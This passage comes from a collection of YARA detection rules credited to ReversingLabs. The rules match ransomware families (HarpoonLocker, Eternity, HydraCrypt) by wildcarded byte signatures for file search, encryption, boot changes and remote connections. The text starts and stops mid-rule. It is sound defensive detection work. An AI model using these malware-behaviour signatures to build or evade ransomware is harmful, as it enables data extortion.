C3 4C 8D 05 - ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 44 0F B6 8C 05 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF C3 3B 9D ?? ?? - ?? ?? 72 ?? 48 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 D2 48 8B CF FF 15 ?? ?? ?? ?? - 48 8B 05 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ?? 48 83 C0 ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? - ?? ?? 48 89 44 24 ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 06 00 48 - 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 66 44 89 BD ?? ?? 00 00 F3 0F 7F 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 8D 8D ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 48 8B 8D ?? ?? ?? ?? - 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? - 49 8B E3 41 5F 41 5E 5D C3 - } - - condition: - uint16( 0 ) == 0x5A4D and $search_files and ( all of ( $encrypt_files_p* ) ) -} -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Harpoonlocker : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects HarpoonLocker ransomware." - author = "ReversingLabs" - id = "3605d354-5a33-54b1-83ad-ad514c78357b" - date = "2022-01-27" - modified = "2022-01-27" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.HarpoonLocker.yara#L1-L96" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "20587f9dce5981934498d9979843a090224ba649def8b694adf7799b7060cc25" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HarpoonLocker" - tc_detection_factor = 5 - importance = 25 - - strings: - $encrypt_files_p1 = { - 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 14 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 6F - ?? ?? ?? ?? 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 73 ?? ?? ?? ?? 25 06 07 9A 7D - ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? ?? 26 07 17 58 0B 07 06 8E - 69 32 ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 73 ?? ?? ?? ?? 0D - 09 12 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? - ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 12 ?? - 12 ?? 28 ?? ?? ?? ?? 12 ?? 12 ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 59 13 ?? 72 ?? ?? ?? ?? 11 - ?? 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 2C ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 2B ?? 2A - } - $encrypt_files_p2 = { - 12 ?? FE 15 ?? ?? ?? ?? 12 ?? FE 15 ?? ?? ?? ?? 12 ?? FE 15 ?? ?? ?? ?? 02 16 12 ?? 28 - ?? ?? ?? ?? 26 08 7B ?? ?? ?? ?? 0D 08 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 35 ?? 08 7B ?? ?? - ?? ?? 16 36 ?? DD ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 10 ?? 03 03 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? - 13 ?? 1F ?? 8D ?? ?? ?? ?? 13 ?? 03 6F ?? ?? ?? ?? 16 11 ?? 16 1F ?? 28 ?? ?? ?? ?? 03 - 6F ?? ?? ?? ?? 16 11 ?? 1F ?? 1F ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 1F ?? 6A - 13 ?? 17 13 ?? 09 6E 13 ?? 2B ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 59 13 ?? 11 ?? 11 ?? 30 - ?? 02 19 17 7E ?? ?? ?? ?? 19 20 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? 11 ?? 7E ?? ?? ?? ?? 1A 16 09 20 ?? - ?? ?? ?? 58 14 28 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? - 06 1F ?? 16 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? - DD ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 26 16 13 ?? 16 13 ?? 2B ?? 11 ?? 20 ?? ?? ?? ?? 2F - ?? 09 6E 11 ?? 6A 59 13 ?? 11 ?? D4 8D ?? ?? ?? ?? 13 ?? 11 ?? 17 58 11 ?? 33 ?? 11 ?? - D4 8D ?? ?? ?? ?? 13 ?? 07 11 ?? 28 ?? ?? ?? ?? 11 ?? 16 11 ?? 8E 69 28 ?? ?? ?? ?? 11 - ?? 18 5D 2D ?? 11 ?? 8E 69 1F ?? 33 ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 16 07 11 - ?? 28 ?? ?? ?? ?? 11 ?? 8E 69 28 ?? ?? ?? ?? 11 ?? 11 ?? 8E 69 58 13 ?? 11 ?? 17 58 13 - ?? 11 ?? 11 ?? 3F ?? ?? ?? ?? 11 ?? 20 ?? ?? ?? ?? 32 ?? 11 ?? 16 07 09 28 ?? ?? ?? ?? - 11 ?? 8E 69 28 ?? ?? ?? ?? 2B ?? 11 ?? 16 07 11 ?? 28 ?? ?? ?? ?? 11 ?? 8E 69 28 ?? ?? - ?? ?? DE ?? 26 DE ?? 26 DE ?? 00 07 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 00 06 28 ?? ?? ?? - ?? 26 DE ?? 26 DE ?? DC 2A - } - $find_files = { - 73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 7E ?? ?? ?? ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 2C ?? 2A 00 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? - ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 14 0B 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B DE ?? 26 - DE ?? 07 2C ?? 07 8E 16 FE 01 2B ?? 17 0C 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 16 13 - ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 08 2C ?? 11 ?? 7B ?? - ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? ?? - 26 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 08 2C ?? DD ?? ?? ?? ?? 28 - ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 - 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 07 13 ?? 16 13 ?? 2B ?? 73 ?? ?? ?? - ?? 13 ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? - 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 7E ?? ?? ?? ?? 11 ?? FE 06 ?? - ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 11 ?? 7B ?? ?? ?? ?? 09 28 ?? ?? ?? ?? DE - ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 09 6F ?? ?? ?? ?? DE ?? 26 DE - ?? DE ?? 26 DE ?? 2A - } - $change_boot = { - 02 8E 2C ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2A 02 16 9A 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A 02 16 9A 72 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 2C ?? 17 80 ?? ?? ?? ?? 16 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 2C ?? 17 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 28 ?? - ?? ?? ?? 2A 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? - ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A 28 ?? ?? ?? ?? 2A - } - - condition: - uint16( 0 ) == 0x5A4D and ( $change_boot ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) -} -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Eternity : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Eternity ransomware." - author = "ReversingLabs" - id = "7bb0f3b0-a8c0-5239-a1b4-532d403f59bc" - date = "2022-07-22" - modified = "2022-07-22" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Eternity.yara#L1-L74" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a2298a26e9bbe2b779eb2afeeda28d4321bc2d26db46bbb377bf86abaf8fa929" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Eternity" - tc_detection_factor = 5 - importance = 25 - - strings: - $find_files = { - 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? - ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 0C 2B ?? 08 - 6F ?? ?? ?? ?? 0D 09 03 04 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 2C ?? 08 6F - ?? ?? ?? ?? DC 02 28 ?? ?? ?? ?? 0B 07 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 - ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? - 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 - ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? - 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 - ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 03 04 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 17 58 - 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A - } - $encrypt_files = { - 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 0A 02 - 28 ?? ?? ?? ?? 0B 07 06 28 ?? ?? ?? ?? 0C 02 19 28 ?? ?? ?? ?? 0D 09 16 6A 6F ?? ?? ?? - ?? 09 6F ?? ?? ?? ?? 02 1C 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? - ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? - 08 16 08 8E 69 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 58 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 02 6F - ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 2A - } - $aes_encrypt = { - 14 0A 1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 73 ?? ?? - ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 03 07 20 ?? - ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? - ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17 6F ?? ?? ?? - ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 11 - ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 6F ?? ?? ?? ?? 0A DE ?? - 09 2C ?? 09 6F ?? ?? ?? ?? DC 08 2C ?? 08 6F ?? ?? ?? ?? DC 06 2A - } - $encrypt_pass = { - 72 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 0B D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C - 08 07 6F ?? ?? ?? ?? A5 ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 09 6F ?? ?? ?? ?? 7E - ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? - 16 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 2A - } - - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $aes_encrypt ) and ( $encrypt_pass ) -} -rule REVERSINGLABS_Win32_Ransomware_Hydracrypt : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects HydraCrypt ransomware." - author = "ReversingLabs" - id = "2e780f7c-8d6d-51c8-b65e-330cc3b17bb7" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HydraCrypt.yara#L1-L174" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "910a6f23f06cecb8d3115ebfed42a66412dbd0d3a519e39f21df81b0c2028f48" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "HydraCrypt" - tc_detection_factor = 5 - importance = 25 - - strings: - $remote_connection_1 = { - 55 8B EC 83 EC ?? 53 56 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 BE ?? ?? ?? ?? 56 - 33 DB 53 53 6A ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? - 59 59 53 53 6A ?? 53 53 6A ?? FF 75 ?? FF 75 ?? FF D0 89 45 ?? 3B C3 0F 84 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 56 53 53 68 ?? ?? ?? ?? FF 75 ?? 68 - ?? ?? ?? ?? FF 75 ?? FF D0 89 45 ?? 3B C3 0F 84 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? - E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 6A ?? FF D0 8B F0 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? - ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? 56 E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? - BF ?? ?? ?? ?? 57 89 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 56 50 57 FF 75 ?? E8 ?? ?? ?? ?? - 83 C4 ?? 5F 39 5D ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 39 5D ?? 74 ?? FF 75 ?? E8 ?? - ?? ?? ?? 59 39 5D ?? 5E 5B 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 C9 C3 - } - $remote_connection_2 = { - 55 8B EC 83 EC ?? 53 56 57 6A ?? 59 68 ?? ?? ?? ?? 33 DB BE ?? ?? ?? ?? 8D 7D ?? 6A - ?? 89 5D ?? F3 A5 E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 53 53 53 8D 4D ?? 51 FF D0 8B - F8 3B FB 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 68 - ?? ?? ?? ?? 53 53 FF 75 ?? 57 FF D0 8B F0 3B F3 75 ?? 53 E8 ?? ?? ?? ?? 59 EB ?? 68 - ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 6A ?? 8D 4D ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? - E8 ?? ?? ?? ?? 59 59 8D 4D ?? 51 6A ?? 8D 4D ?? 51 56 FF D0 39 5D ?? 75 ?? 57 E8 ?? - ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 40 EB ?? 68 ?? ?? - ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 4D ?? 51 FF D0 33 C9 3B C8 1B C0 - F7 D8 5F 5E 5B C9 C3 - } - $remote_connection_3 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 33 DB 66 A5 53 8D - 45 ?? 53 50 A4 E8 ?? ?? ?? ?? 59 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 56 53 FF D0 56 - 50 89 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? - ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? FF D0 BF ?? ?? ?? ?? 57 50 89 45 ?? E8 ?? ?? ?? - ?? 59 59 85 DB 7E ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 8B C3 6A ?? 99 59 - F7 F9 85 D2 75 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 6A ?? - E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 8B 45 ?? 0F B6 04 03 - 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? - ?? ?? ?? 83 C4 ?? 43 3B DE 7C ?? E8 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? 50 56 8D 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 83 C4 ?? 83 7D ?? ?? BB ?? ?? ?? ?? BE ?? ?? ?? - ?? 75 ?? 53 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? - 75 ?? 53 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F - 5E 5B C9 C3 - } - $encrypt_files_1 = { - 8A 45 ?? 04 ?? 66 98 66 89 45 ?? 0F B7 C0 50 8D 45 ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 68 - ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 FF D0 8B F0 83 FE ?? 74 ?? 83 - FE ?? 74 ?? 83 FE ?? 75 ?? FF 75 ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 83 FE ?? 74 ?? 83 FE ?? 75 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 57 6A ?? E8 ?? ?? ?? - ?? 59 59 68 ?? ?? ?? ?? FF D0 FF 45 ?? 83 7D ?? ?? 0F 8C ?? ?? ?? ?? 83 3D ?? ?? ?? - ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE - ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 8D 8D ?? ?? ?? ?? 51 53 FF D0 8D 85 - ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 - ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? - 75 ?? E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 FF D0 56 6A - ?? E8 ?? ?? ?? ?? 59 59 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 8D 85 ?? ?? ?? ?? 50 - 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 - C4 ?? 6A ?? 53 53 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 53 FF D0 57 6A ?? E8 ?? ?? ?? - ?? 59 59 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 FF D0 5F - 5E 33 C0 5B C9 C2 - } - $encrypt_files_2 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 33 DB 66 A5 53 8D - 45 ?? 53 50 A4 E8 ?? ?? ?? ?? 59 50 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 A5 89 - 45 ?? 8D 45 ?? 50 66 A5 E8 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 FF D0 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 66 A5 BE - ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 53 89 45 ?? 8D 45 ?? 53 50 66 A5 E8 ?? ?? ?? ?? 59 50 - E8 ?? ?? ?? ?? 8B F0 8D 45 ?? 50 E8 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 BF ?? - ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 55 ?? 68 ?? - ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? 51 FF D0 68 ?? ?? ?? ?? - 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 53 53 FF D0 8B F0 53 56 E8 ?? ?? ?? ?? 59 - 59 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 FF - D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF - } - $encrypt_files_3 = { - D0 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? - ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 85 C0 75 ?? BE ?? ?? ?? - ?? EB ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? FF D0 56 E8 ?? ?? - ?? ?? 59 3C ?? 75 ?? BE ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? FF D0 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D0 - E8 ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF - D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF - D0 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? - ?? ?? 83 C4 ?? 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 68 ?? ?? ?? ?? 57 8D 85 ?? ?? - ?? ?? 50 BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 FF 55 ?? 68 ?? ?? ?? ?? 57 8D 85 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 56 50 FF 55 ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 - C4 ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 68 ?? ?? ?? - ?? 6A ?? 66 A5 